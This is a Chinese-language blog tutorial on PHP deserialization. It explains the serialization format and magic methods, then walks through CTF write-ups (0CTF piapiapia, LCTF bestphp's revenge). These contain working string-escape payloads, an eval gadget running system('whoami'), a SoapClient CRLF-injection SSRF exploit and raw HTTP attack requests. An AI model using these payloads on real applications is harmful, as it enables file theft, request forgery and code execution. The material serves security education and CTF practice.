PHP 反序列化
Drunkbaby Lv6

PHP 反序列化

0x01 前言

过一遍 PHP 反序列化

0x02 PHP 的反序列化

  • 和 Java 一样,也是两个方法

序列化:serialize()
反序列化:unserialize()

简单的 demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Test{
public $age = '19';
public $name = 'Drunkbaby';

public function __construct()
{
echo 'Test ' .$this->name . ' is ' . $this->age . 'years old ';
}
}

$a = new Test();
echo serialize($a) ;

echo PHP_EOL;

$b = serialize($a);

echo $b;

?>

PHP 反序列化其实是有点让人难受的,因为它的序列化过程,将对象转化为字符串,这个字符串并非是二进制文件,而且说实话,我个人觉得可读性有点不太好,看着不太舒服吧……

输出结果:

1
Test Drunkbaby is 19years old O:4:"Test":2:{s:3:"age";s:2:"19";s:4:"name";s:9:"Drunkbaby";}

此时就可以看出序列化后这里有多个字母,下面依次来进行解释

1
2
3
O:4:"Test":2:{s:3:"age";s:2:"19";s:4:"name";s:9:"Drunkbaby";}

对象类型:长度:类名:变量个数:{类型:长度:"值";类型:长度:"值";类型:长度:"值";类型:长度:"值";}

字母的含义如下

1
2
3
4
5
6
a - array                  b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string

正常遇到的这种反序列化和序列化都是和 PHP 类与对象这部分知识点相关联的,所以我们需要简单了解类和对象这个知识点,同时掌握魔术方法的基础用法

0x03 PHP 魔术方法

  • 翻看自己以前的文章,发现已经有所提及到了,但是我自己却没什么印象哈哈,还是重新过一下吧,也要不了多少时间。

常见魔术方法有以下几种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__construct()   当一个对象创建时被调用,
__destruct() 当一个对象销毁时被调用,
__toString() 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

这是整体的,但这样看似乎显得过于抽象,因此我们将其进行分类,依次进行举例讲解

__construct() 与 __destruct()

1
__construct : 在创建对象时候初始化对象,一般用于对变量赋初值。 __destruct : 和构造函数相反,当对象所在函数调用完毕后执行。

__destruct 还有一种利用方式,就是 __destruct() 在对象被主动销毁的时候,其实这里用销毁这个词我觉得并不妥当,严格意义上来说,其实是对象在结束整个过程后,最后进行的这么一个操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class bai{
public $name;
public $age;
public function __construct($name,$age)
{
echo "__construct()初始化
";
$this->name=$name;//将传入的第一个参数赋值给name变量
$this->age=$age;
}
public function __destruct()
{
echo "__destruct()执行结束
";
}
}
//主动销毁
$a=new bai('quan9i',19);
unset ($a);//主动销毁对象,此时先触发destruct魔法函数再echo
echo"777
";
echo "------------分隔符----------------
";
//自动销毁
$b=new bai('quan9i',19);
echo "123
";
//此时先echo再触发destruct函数
?>

__sleep()

1
__sleep()    serialize 之前被调用,可以指定要序列化的对象属性。

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class bai{
public $name;
public $age;
public function __construct($name,$age)
{
echo "__construct()初始化
";
$this->name=$name;
$this->age=$age;
}
public function __sleep()
{
echo "当使用serialize时触发此方法
";
return array('name','age');
}
}
$a=new bai('Drunkbaby',19);
echo serialize($a);
?>

__wakeup()

1
__wakeup()   反序列化恢复对象之前调用该方法

实例如下

实例如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class bai{
public $name;
public $age;
public function __construct($name,$age)
{
echo "__construct()初始化<br>
";
$this->name=$name;
$this->age=$age;
}
public function __wakeup()
{
echo "当使用unserialize时触发此方法<br>
";
$this->age=1000;//更改$age的值为1000
}
}
$a=new bai('Drunkbabye',19);
$b= serialize($a);
var_dump(unserialize($b));
?>

__toString()

1
__toString() :在对象当做字符串的时候会被调用。

实例如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class Test
{
public $a = 'This is a string';

public function good(){
echo $this->a.'
';
}

// 在对象当做字符串的时候会被调用
public function __toString()
{
return '__toString方法被调用
';
}
}

$a = new Test();
$a->good();
echo $a;
?>

__invoke()

1
__invoke() :将对象当作函数来使用时执行此方法。

示例如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class Test{
public $data ="调用正常方法
";

public function __invoke()
{
echo"调用__invoke()方法";
}
}
$a= new test();
echo $a();
?>
  • 这一个 __invoke 方法接触的比较少

__get

1
__get() 访问不存在的成员变量时调用的

实例如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class Test {
public $n=123;
public function __get($name){
echo '__get 方法被调用,其中不存在变量 '.$name.'
';
}
}
$a = new Test();
echo $a->Drunkbaby;//调用对象a中的变量Drunkbaby,由于不存在Drunkbaby这个变量,这时候就会调用__get魔术方法
?>

__set

1
__set() :设置不存在的成员变量时调用的;

这一块 get 和 set 是可以放一起讲的,这两个方法很有意思,从某种程度来说是一种特别的抛出异常的手段。

如果我一个类当中不存在某个属性,如果在 Java 里面,会直接抛出异常,而在 PHP 里面会调用魔术方法,这其实是有概率造成 Gadget Chain 的反序列化的,不同于 Java 里面死的抛出异常,PHP 的安全隐患非常大。

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class xg{
public $data = 100;
// protected $test=0;

public function __set($name,$value){
echo '__set 不存在成员变量 '.$name.'
';
$this->test=$value;
}

public function __get($name){
echo '__get 方法被调用,其中不存在变量 '.$name.'
';
}

public function show(){
echo $this->test;
}
}

$a = new xg();
$a->show(); //调用Get方法,这里就是输出test的值
echo '
';
$a->test= 777; // 给私有变量test赋值为777,但此时它是私有变量,就会调用__set,此时就会更改
$a->show();
echo '
';
$a->Drunkbaby = 566;// 设置对象不存在的属性
$a->show();// 经过__set方法的设置值为566
?>

__call()

1
__call :当调用对象中不存在的方法会自动调用该方法

示例如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Test{
public $data ="调用正常方法
";
public function __call($name,$value){
echo "__call 被调用,Test 类中不存在方法 ".$name.'
';
var_dump($value);
}
public function show(){
echo $this->data;
}
}
$a= new test();
$a->show(); //调用正常方法
echo"--------------------分隔符----------------
";
$a->Drunkbaby_Be_Clever('Drunkbaby',123); //调用一个不存在的方法,此时就调用了__call魔术方法

?>

我的理解里面,这也算是一种抛出异常

__isset()

1
__isset() : 检测对象的某个属性是否存在时执行此函数。

当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。

实例如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class test{
public $name;
private $age;

public function __construct($name, $age){
$this->name = $name;
$this->age = $age;
}

// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
public function __isset($content){
echo "当使用isset()函数,自动调用<br>
";
return isset($this->$content);
}
}

$a = new test("Drunkbaby", 19);
// public 成员
echo ($a->name),"<br>
";
// private 成员
echo isset($a->name);
echo "-----------分隔符--------------<br>
";
echo isset($a->age);
?>

可以发现私有属性时会调用 isset 魔术方法(调用 protected 作用域的属性也会调用),这两个就属于是不可访问的属性了,被访问的时候会进到 __isset() 里面

__unset()

1
__unset() :在不可访问的属性上使用 unset () 时触发

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class test{
public $name;
private $age;

public function __construct($name, $age){
$this->name = $name;
$this->age = $age;
}


public function __unset($content){
echo "当使用unset()函数,自动调用
";
echo "Drunkbaby is silly";
}
}

$a = new test("Drunkbaby", 19);
// public 成员
unset($a->name);
echo "
";
// private 成员
echo "-----------分隔符--------------
";
unset($a->age);
echo "
";
?>

常用魔术函数汇总例子

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class test{
public $varr1="abc";
public $varr2="123";
public function echoP(){
echo $this->varr1."
";
}
public function __construct(){
echo "__construct
";
}
public function __destruct(){
echo "__destruct
";
}
public function __toString(){
return "__toString
";
}
public function __sleep(){
echo "__sleep
";
return array('varr1','varr2');
}
public function __wakeup(){
echo "__wakeup
";
}
}

$obj = new test(); //实例化对象,调用__construct()方法,输出__construct
$obj->echoP(); //调用echoP()方法,输出"abc"
echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString
$s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep
echo $s.'
';//sleep返回的信息此时被输出
echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。后面这个是一个对象,因此会执行一次__destruct方法
// 结束又会调用__destruct()方法,输出__destruct
?>

简单的 PHP 反序列化 CTF 题目

0x04 反序列化之字符串逃逸

其实也不能说算是字符串逃逸吧,个人认为说是字符串拼接,或许是更合理的。逃逸总是听着太高大上了

首先来介绍一下这个 str_replace 函数

1
2
3
4
5
str_replace 
str_replace — 字符串替换
说明
mixed str_replace( mixed $search, mixed $replace, mixed $subject[, int &$count] )
该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。

过滤后字符变多

看一下我们本地的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

function change($str){
return str_replace("x","xx",$str);
}

$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>";
echo "<br/>此时,age=$new[1]";

正常情况下是这样的

如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来,这也就是 str_replace)

传入的参数 name,先与 age 一起组成了一个数组,经过过滤之后,再进行反序列化的工作,所以这里我们可以构造恶意的 name,此时我们传入

1
name=Drunkbabyxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"whoami";}

后面这部分:";i:1;s:6:"whoami";} 的长度是 20

由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符 ";i:1;s:6:"whoami";},从而造成";i:1;s:6:"whoami";} 的溢出,而 " 闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出 whoami

最后的 ;} 闭合反序列化全过程导致原来的 ";i:1;s:7:"I am 11";}" 被舍弃,不影响反序列化过程

构造 payload 之后成功

bugku Web new php

0CTF 2016 piapiapia 1 字符串逃逸后变多

题目是有源码泄露的,得到源码之后我们看到 config.php 里面有一个 $flag

从这里面就可以猜想,可能是要我们去读取 config.php

继续看,在 profile.php 里面,很明显可以看到存在一个危险函数 file_get_contents,这就更加容易使我们去想到是读取 config.php 的了。

做的 file_get_contents 里面是什么东西呢,是 $profile['photo'],我们溯上去,看一看 $profile 是什么

可以看到 $profile$user 对象中的 show_profile() 方法,传入的参数是 $_SESSION['username']

跟进一下 show_profile() 方法,先看返回值,是 $object->profile,也就是返回一个 profile 对象。$object 则是通过 parent::select($this->table, $where),也就是经过了 select 搞来的,再往上看,发现还调用了一个 filter() 方法,跟进去看一下。

字符串逃逸昭然若揭。

现在基本的攻击思路已经明确了,基本上是依靠 username 这里的可控点进行字符串逃逸的攻击,可是我们看的东西其实全程都和 file_get_contents($profile['photo']) 无关

终于,在 update.php 里面找到了关于 $profile 序列化的代码

所以就是用 username 进行字符串逃逸的工作,让 photo 那里直接读取 config.php,去到 update 界面开始攻击。

我们要把 filename 修改成恶意的 config.php,构造出的结果如下

1
2
3
4
5
6
7
8
9
10
11
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));

结果如下:
Array
(
[phone] => 12345678901
[email] => ss@q.com
[nickname] => sea_sand
[photo] => config.php
)

但是很明显,不可能直接可以读到 config.php,需要我们在 nickname 那里进行恶意构造,所以 payload

1
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

nickname 最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,就可以直接把后面这些字符挤出去,让他们成为 photo

值得注意的是,nickname 要从原本的 nickname 修改成数组,因为要进行闭合

此时我们已经可以读到 config.php,只需要把内容进行 base64 解码即可

过滤后字符变少

  • 异曲同工,之前我们是把字符挤出去,这里我们要把字符塞进来。

源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

function change($str){
return str_replace("xx","3",$str);
}

$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "反序列化字符串:";
var_dump(serialize($arr));
echo "<br/>";
echo "过滤后:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>此时,age=";
echo $new['age'];

正常情况下,回显如此

现在我们把 name 改成 1xx,这里肯定会报错,过滤之后是减少了的,这就和字符变多的道理是一样的。

所以此处我们的利用思路应该是这样的:在后面构造恶意的 payload,然后通过字符减少,把恶意 payload 提前闭合。

payload

1
?name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&age=11";s:3:"age";s:6:"whoami";}

0x05 Session 反序列化

终于要对 Session 反序列化动手了哈哈,之前一直没弄。

什么是 PHP Session

PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

其中单一用户的信息是通过序列化的方式来存储的。

PHP Session 的工作流程

会话的工作流程很简单,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的 CookiesGetPOST 中不存在 session id,PHP 就会自动调用 php_session_create_id 函数创建一个新的会话,并且在 http response 中通过 set-cookie 头部发送给客户端保存。

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将sessionid添加到url参数中以及formhidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中,如下述代码就是一个在 $_SESSION 变量中注册变量的例子:

1
2
3
4
5
6
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'xianzhi' ;
}
?>

当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

默认情况下,PHP 使用内置的文件会话保存管理器来完成 session 的保存,也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

虽然上述已经表达的非常明确了,不过还是用这一副图来表示一下工作流程

PHP Session 的存储机制

PHP Session 的存储位置我们先要明确,在 php.inisession.save_path 属性中。一般来说 session 存储名有几种,ci_ 或是 sess_,默认是以文件的方式存储的。

文件的内容很显然,是 session 值序列化之后的内容

session.serialize_handler 定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

注:自 PHP 5.5.4 起可以使用 php_serialize

上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有php和 php_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(| 和 !) 。

下面我们实例来看看三种不同处理器序列化后的结果。

PHP 处理器

首先来看看 session.serialize_handler 等于 php 时候的序列化结果,demo 如下:

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

得到的 session 结果为

1
session|s:4:"test";

session 为$_SESSION['session']的键名,|后为传入 GET 参数经过序列化后的值。

php_binary 处理器

再来看看session.serialize_handler等于 php_binary时候的序列化结果。

demo 如下:

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35,35 对应的 ASCII 码为#,所以最终的结果如下图所示:

session 的结果为:

1
#sessionsessionsessionsessionsessions:4:"test";

#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:4:"test";为传入 GET 参数经过序列化后的值。

php_serialize 处理器

最后就是 session.serialize_handler 等于 php_serialize 时候的序列化结果,同理,demo 如下:

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

得到的 session 值为

1
a:1:{s:7:"session";s:4:"test";}

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值

漏洞实例

先聊一下漏洞原理

当序列化存储 Session 数据与反序列化读取 Session 数据的方式不同时会产生漏洞。

看了一下其实大部分例题并非很 Real World,但是在实际漏洞挖掘过程中确实也有一些非常 Real World 的场景,接下来我们一步步由浅到深地看。

https://xz.aliyun.com/t/6640#toc-10
https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

例题一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

ini_set('session.serialize_handler', 'php');
session_start();

class Test {
public $drun1baby;
function __construct() {
$this->drun1baby = 'phpinfo();';
}
function __destruct(){
eval($this->drun1baby);
}
}

if (isset($_GET['session'])) {
$m = new Test();
}

else {
highlight_string(file_get_contents("t1.php"));
}

?>

可以看到题目环境中的 session.serialize_handler 默认为 php_serialize 处理器,而程序使用的却是 php 处理器,而且开头使用了 session_start() 函数,那么我们就可以利用 session.upload_progress.enabled 来伪造 session ,然后在 PHP 反序列化 session 文件时,还原 Test 类,最终执行 eval 函数。

先编写恶意代码,用来伪造 session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

ini_set('session.serialize_handler', 'php');
session_start();

class Test {
public $drun1baby;
function __construct() {
$this->drun1baby = 'echo system("whoami);';
}
function __destruct(){
eval($this->drun1baby);
}
}

$_SESSION['payload'] = new Test();
?>

生成的 session 文件内容为

1
payload|O:4:"Test":1:{s:9:"drun1baby";s:21:"echo system("whoami);";}

接下来需要通过 session.upload_progress.enabled 来伪造。

我们可以通过如下表单,抓包修改 filename 为 payload 即可。

1
2
3
4
5
<form action="http://localhost/t1.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

最终会生成一个 session 文件, php 在获取 session 的时候,会按照 session.serialize_handler=php 规则来处理 session 文件,将 | 符号之前的所有内容认为是键名,之后的内容则用于反序列化。

我这里本地没复现成功,可能受 PHP 版本影响了。放一张其他师傅利用成功的图。

例题二

题目链接

https://buuoj.cn/challenges#bestphp's%20revenge

源代码 index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// lctf2018 bestphp's revenge
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

还有 flag.php

1
2
3
4
5
6
7
8
<?php
//only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}

flag.php 这里是一个典型的 SSRF,当然同样关注一下前面的内容。

首先第五行 call_user_func($_GET['f'], $_POST); 代码,潜在的命令执行漏洞,$_POST 是一个数组,如果要利用的话只能进行变量覆盖利用。

下面存在 Session 伪造漏洞,可以直接通过传参伪造,后续可以利用反序列化或者是文件包含。

最后也是一个 call_user_func,但是 $a 这里看起来不可控,没法直接利用。

结合 flag.php 的内容知道了这是个 SSRF 的漏洞,所以这里第一反应是思考 SoapClient 类打 SSRF 漏洞。而这里 SoapClient 类在被调用 __call 魔术方法的时候会发起 HTTP 请求,正好符合题意。接下来先编写 SSRF 的 EXP

1
2
3
4
5
6
7
8
<?php
$target = 'http://124.222.21.138:2333/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header 信息,上面的请求结果如下:

而 call_user_func 函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class myclass {
static function say_hello()
{
echo "Hello!\n";
}
}

$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3

$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
?>

这样子一来我们可以构造如下一个恶意的 payload,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

1
2
3
4
5

call_user_func($b, $a)

//转换成
call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018');

这里还要提及一点的是 session_start 函数从 PHP7 开始允许通过参数来设置 session 运行时配置。例如: session_start(array('serialize_handler' => 'php_serialize')) 将会设置 session.serialize_handler=php_serialize 。

通过call_user_func将序列化引擎从php改变为php_serialize。其中利用的是session_start,一般是利用ini.set,来修改处理器,但是POST传入的参数是数组,ini.set不能处理数组,所以使用session_start来修改。

传参 HTTP 请求

1
2
3
4
5
6
7
8
POST /?f=session_start HTTP/1.1
Host: 644ac9ed-fd72-4092-913c-3e5c0834c6c8.node5.buuoj.cn:81
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=test
Connection: close

serialize_handler=php_serialize

这就会构成 call_user_func(session_start(array('serialize_handler' => 'php_serialize'))

接下来构造一个 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$target = "http://127.0.0.1/flag.php";
$post_data = 'flag=demo';
$ua = array(
'test',
'Content-Type: application/x-www-form-urlencoded',
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=test'
);

$options = array(
'location' => $target,
'user_agent' => join("\r\n",$ua) . "\r\nContent-Length: " . (string) strlen($post_data). "\r\n\r\n" . $post_data,
'uri'=>'hello'
);

$serialize_string = serialize(new SoapClient(null,$options));
echo urlencode($serialize_string);
?>

传参打,当然这里需要在 name 前面加一个 | 符号,这样一来当程序加载用户的 session 值时,就会使用 php 处理器进行处理,将 | 符号前面作为键名,后面的内容作为键值,此时便成功反序列化 Session 后面的内容

1
2
3
4
5
6
7
8
POST /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22drunkbaby%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22drunkbaby%0D%0ACookie%3APHPSESSID%3Devil%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1
Host: 644ac9ed-fd72-4092-913c-3e5c0834c6c8.node5.buuoj.cn:81
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=test
Connection: close

serialize_handler=php_serialize

第二步,通过 extract 变量覆盖

传参如下

1
2
3
4
5
6
7
8
POST /?f=extract HTTP/1.1
Host: 644ac9ed-fd72-4092-913c-3e5c0834c6c8.node5.buuoj.cn:81
Content-Length: 16
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=test
Connection: close

b=call_user_func

完成构造 call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018');

最后一步发起请求,由于 session 会被保存到对应 SoapClient 的 session,所以需要请求对应的 session

solved!

 评论